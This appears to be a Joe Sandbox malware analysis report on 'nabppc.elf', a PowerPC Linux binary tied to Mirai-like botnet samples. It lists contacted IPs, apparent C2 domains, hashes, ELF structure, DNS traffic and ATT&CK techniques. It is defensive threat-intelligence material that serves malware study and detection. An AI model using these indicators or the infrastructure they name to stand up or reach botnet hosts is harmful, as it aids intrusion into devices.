175.33.159.121	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
128.229.170.249	unknown	United States	7281	BOOZ-ASUS	false
58.229.116.103	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
40.187.231.121	unknown	United States	4249	LILLY-ASUS	false
55.144.127.202	unknown	United States	1541	DNIC-ASBLK-01534-01546US	false
13.53.40.237	unknown	United States	16509	AMAZON-02US	false
63.227.152.184	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
28.58.160.194	unknown	United States	7922	COMCAST-7922US	false
118.129.207.38	unknown	Korea Republic of	63199	CDSC-AS1US	false
130.156.114.5	unknown	United States	21976	NJEDGE-NETUS	false
164.170.164.129	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
94.105.39.76	unknown	Belgium	47377	ORANGE_BELGIUM_SAKPNBelgiumBusinessNVhasbeenacquired	false
42.85.64.136	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
103.95.77.191	unknown	Australia	9723	ISEEK-AS-APiseekCommunicationsPtyLtdAU	false
66.240.62.255	unknown	United States	7922	COMCAST-7922US	false
23.251.46.113	unknown	United States	62468	VPSQUANUS	false
194.78.197.187	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
215.234.115.201	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
149.130.106.156	unknown	United States	33022	WELLESLEY-COLLEGEUS	false
161.40.241.49	unknown	United States	297	AS297US	false
133.36.34.184	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
195.110.117.12	unknown	Italy	206191	DADA_IT-DR1IT	false
83.218.168.245	unknown	Austria	31543	MYNET-ASmyNETgmbhAT	false
76.180.95.66	unknown	United States	11351	TWC-11351-NORTHEASTUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
watchmepull.dyn	nklspc.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
ohlookthereismyboats.geek	mpsl.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	m68k.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	jklspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	splmpsl.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nabmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	mips.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklsh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	nklmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	zerppc.elf	Get hash	malicious	Unknown	Browse	104.248.47.182

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMCAST-7922US	nklspc.elf	Get hash	malicious	Unknown	Browse	75.149.225.222
	mpsl.elf	Get hash	malicious	Unknown	Browse	28.239.65.65
	m68k.elf	Get hash	malicious	Unknown	Browse	50.219.184.13
	jklspc.elf	Get hash	malicious	Unknown	Browse	26.94.217.107
	splmpsl.elf	Get hash	malicious	Unknown	Browse	29.36.253.168
	nabmips.elf	Get hash	malicious	Unknown	Browse	28.1.30.192
	mips.elf	Get hash	malicious	Unknown	Browse	25.180.234.74
	nklsh4.elf	Get hash	malicious	Unknown	Browse	23.25.87.96
	nklmips.elf	Get hash	malicious	Unknown	Browse	68.82.185.64
	splsh4.elf	Get hash	malicious	Unknown	Browse	26.236.29.127
DTAGInternetserviceprovideroperationsDE	nklspc.elf	Get hash	malicious	Unknown	Browse	62.156.228.135
	mpsl.elf	Get hash	malicious	Unknown	Browse	87.158.150.167
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	93.211.38.224
	m68k.elf	Get hash	malicious	Unknown	Browse	91.7.108.48
	splmpsl.elf	Get hash	malicious	Unknown	Browse	217.249.228.69
	nabmips.elf	Get hash	malicious	Unknown	Browse	217.1.39.81
	nklsh4.elf	Get hash	malicious	Unknown	Browse	93.224.120.146
	splsh4.elf	Get hash	malicious	Unknown	Browse	37.91.182.28
	splspc.elf	Get hash	malicious	Unknown	Browse	79.213.181.31
	nklarm5.elf	Get hash	malicious	Unknown	Browse	79.222.123.9
SXBCTV-APSXBCTVInternetServiceProviderCN	hoho.m68k.elf	Get hash	malicious	Unknown	Browse	182.83.152.34
	nabppc.elf	Get hash	malicious	Unknown	Browse	182.82.10.182
	nabspc.elf	Get hash	malicious	Unknown	Browse	182.82.67.90
	nabppc.elf	Get hash	malicious	Unknown	Browse	124.23.101.52
	cbr.mpsl.elf	Get hash	malicious	Mirai	Browse	182.83.152.31
	yakov.m68k.elf	Get hash	malicious	Unknown	Browse	182.82.57.178
	yakov.arm7.elf	Get hash	malicious	Mirai	Browse	124.23.96.39
	yakov.x86.elf	Get hash	malicious	Mirai	Browse	124.23.137.17
	yakov.m68k.elf	Get hash	malicious	Mirai	Browse	210.87.141.174
	yakov.arm.elf	Get hash	malicious	Mirai	Browse	182.82.10.121
CCNET-NETCOMMUNITYNETWORKCENTERINCORPORATEDJP	yakov.arm7.elf	Get hash	malicious	Unknown	Browse	211.15.105.179
	cbr.spc.elf	Get hash	malicious	Mirai	Browse	220.213.194.237
	jklppc.elf	Get hash	malicious	Unknown	Browse	211.15.92.82
	kre4per.arm.elf	Get hash	malicious	Unknown	Browse	211.15.105.146
	jade.m68k.elf	Get hash	malicious	Mirai	Browse	211.15.92.90
	telnet.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	218.216.195.252
	mpsl.elf	Get hash	malicious	Mirai	Browse	202.79.132.244
	res.arm.elf	Get hash	malicious	Unknown	Browse	211.15.92.61
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	219.101.12.26
	armv4l.elf	Get hash	malicious	Mirai	Browse	221.121.246.114

Process:	/tmp/nabppc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	267
Entropy (8bit):	3.1571134690213793
Encrypted:	false
SSDEEP:	6:MD4gDF+NT/V/DFw4VqY/VfKoO/VNfiY/VH:M8YY1q4VSl
MD5:	CFFDDFF29B26CE7168A054441E1F9468
SHA1:	A06F46D55E9BEC2A7CC7BA58EF92A820A944DBB1
SHA-256:	935940D996F0E42E96E944703D9C9D6E24EFE52C55922A8CA0ED2389F19BB92B
SHA-512:	848B72F675663B0530B80870D74DF06936EE01BCB0EDF8CB8744F9FA9CCBFCDF293220FD682E3505E87936937997B9D41DE93059D9B03E90435B1610E3367476
Malicious:	false
Reputation:	low
Preview:	10000000-1000b000 r-xp 00000000 fd:00 531606 /tmp/..1001a000-1001b000 rw-p 0000a000 fd:00 531606 /tmp/..1001b000-1001d000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

Source: nabppc.elf	Virustotal: Detection: 25%			Perma Link
Source: nabppc.elf	ReversingLabs: Detection: 27%

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.255620859185974
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabppc.elf
File size:	43'960 bytes
MD5:	bd1686397ef53145df0a2456c83fdd4a
SHA1:	d6fc67ea3076f8fb8b183ce51ebcd217d2b75997
SHA256:	5f674528b0593dc8cff911d9c3555a19f8edc240f24b61c27816753ec0e65db0
SHA512:	90e07ea397b61cf9ab20efcdfa9ca3c7b6fb82ade217b5e0a63584e868e0041d0db52b0d8e63b99406609c99aa907b3334d67750eea02d2cb67b04f6ba5f39bf
SSDEEP:	768:WqNYN2iQ/LRFZi5hnY2tlcdAOXpcTXPbbBRT5:W7NOLFuntOdHXpGXPbbBRV
TLSH:	D1135C4173094803D65B5DB1783F27E1A7AB9A921260B3CB781DE78E81F2F32510BDAD
File Content Preview:	.ELF...........................4.........4. ...(...........................................................H........dt.Q.............................!..\|......$H...H..5...$8!. \|...N.. .!..\|.......?.............../...@..\?........+../...A..$8...})......N..

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	43440
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x978c	0x0	0x6	AX	4
.fini	PROGBITS	0x10009844	0x9844	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x10009864	0x9864	0xf32	0x0	0x2	A	4
.ctors	PROGBITS	0x1001a79c	0xa79c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001a7a4	0xa7a4	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1001a7ac	0xa7ac	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1001a7b0	0xa7b0	0x198	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001a948	0xa948	0x18	0x0	0x3	WA	4
.sbss	NOBITS	0x1001a960	0xa960	0x68	0x0	0x3	WA	4
.bss	NOBITS	0x1001a9c8	0xa960	0x121c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xa960	0x50	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xa796	0xa796	6.3106	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xa79c	0x1001a79c	0x1001a79c	0x1c4	0x1448	2.3310	0x6	RW	0x10000	.ctors .dtors .jcr .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 20:15:21.069453955 CET	47421	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:15:21.093341112 CET	53	47421	152.53.15.127	192.168.2.23
Mar 19, 2025 20:15:32.347914934 CET	53751	53	192.168.2.23	168.235.111.72
Mar 19, 2025 20:15:32.438968897 CET	53	53751	168.235.111.72	192.168.2.23
Mar 19, 2025 20:15:44.098977089 CET	32942	53	192.168.2.23	185.181.61.24
Mar 19, 2025 20:15:44.134721041 CET	53	32942	185.181.61.24	192.168.2.23
Mar 19, 2025 20:15:55.757422924 CET	39541	53	192.168.2.23	185.181.61.24
Mar 19, 2025 20:15:55.793227911 CET	53	39541	185.181.61.24	192.168.2.23
Mar 19, 2025 20:16:07.360483885 CET	43656	53	192.168.2.23	81.169.136.222
Mar 19, 2025 20:16:07.389856100 CET	53	43656	81.169.136.222	192.168.2.23
Mar 19, 2025 20:16:18.958214998 CET	59281	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:16:18.981215000 CET	53	59281	152.53.15.127	192.168.2.23
Mar 19, 2025 20:16:18.981965065 CET	44147	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:16:18.998706102 CET	53	44147	152.53.15.127	192.168.2.23
Mar 19, 2025 20:16:18.999747992 CET	49939	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:16:19.017005920 CET	53	49939	152.53.15.127	192.168.2.23
Mar 19, 2025 20:16:19.018017054 CET	34489	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:16:19.041240931 CET	53	34489	152.53.15.127	192.168.2.23
Mar 19, 2025 20:16:19.042534113 CET	46954	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:16:19.059757948 CET	53	46954	152.53.15.127	192.168.2.23
Mar 19, 2025 20:16:30.606746912 CET	36102	53	192.168.2.23	168.235.111.72
Mar 19, 2025 20:16:30.697105885 CET	53	36102	168.235.111.72	192.168.2.23
Mar 19, 2025 20:16:41.942534924 CET	44231	53	192.168.2.23	194.36.144.87
Mar 19, 2025 20:16:41.959209919 CET	53	44231	194.36.144.87	192.168.2.23

Start time (UTC):	19:15:18
Start date (UTC):	19/03/2025
Path:	/tmp/nabppc.elf
Arguments:	/tmp/nabppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	19:15:19
Start date (UTC):	19/03/2025
Path:	/tmp/nabppc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	19:15:20
Start date (UTC):	19/03/2025
Path:	/tmp/nabppc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0KfLYO (deleted)

/tmp/qemu-open.0mxmfR (deleted)

/tmp/qemu-open.1eOFcO (deleted)

/tmp/qemu-open.2gxZjR (deleted)

/tmp/qemu-open.3GmJFO (deleted)

/tmp/qemu-open.3W4J6N (deleted)

/tmp/qemu-open.3obX6R (deleted)

/tmp/qemu-open.4CU71O (deleted)

/tmp/qemu-open.4iRgCR (deleted)

/tmp/qemu-open.4q1QzR (deleted)

/tmp/qemu-open.5ak03O (deleted)

/tmp/qemu-open.5iepXQ (deleted)

/tmp/qemu-open.5ptAuP (deleted)

/tmp/qemu-open.5wUE8Q (deleted)

/tmp/qemu-open.6SAXSQ (deleted)

/tmp/qemu-open.6Sbj4O (deleted)

/tmp/qemu-open.6dn78N (deleted)

/tmp/qemu-open.7zV2aP (deleted)

/tmp/qemu-open.807NrO (deleted)

/tmp/qemu-open.8P1MTN (deleted)

/tmp/qemu-open.96Ga8O (deleted)

/tmp/qemu-open.9ItOSQ (deleted)

/tmp/qemu-open.BF4QTO (deleted)

/tmp/qemu-open.BGADSP (deleted)

/tmp/qemu-open.BUYHTO (deleted)

/tmp/qemu-open.CMZI1P (deleted)

/tmp/qemu-open.DtgG6N (deleted)

/tmp/qemu-open.EGAhkP (deleted)

/tmp/qemu-open.EgsYSN (deleted)

/tmp/qemu-open.FLzRRQ (deleted)

/tmp/qemu-open.GR0J6N (deleted)

/tmp/qemu-open.GTP0OR (deleted)

/tmp/qemu-open.GVVu8O (deleted)

/tmp/qemu-open.GqLwBQ (deleted)

/tmp/qemu-open.Gr6afR (deleted)

Linux Analysis Report
nabppc.elf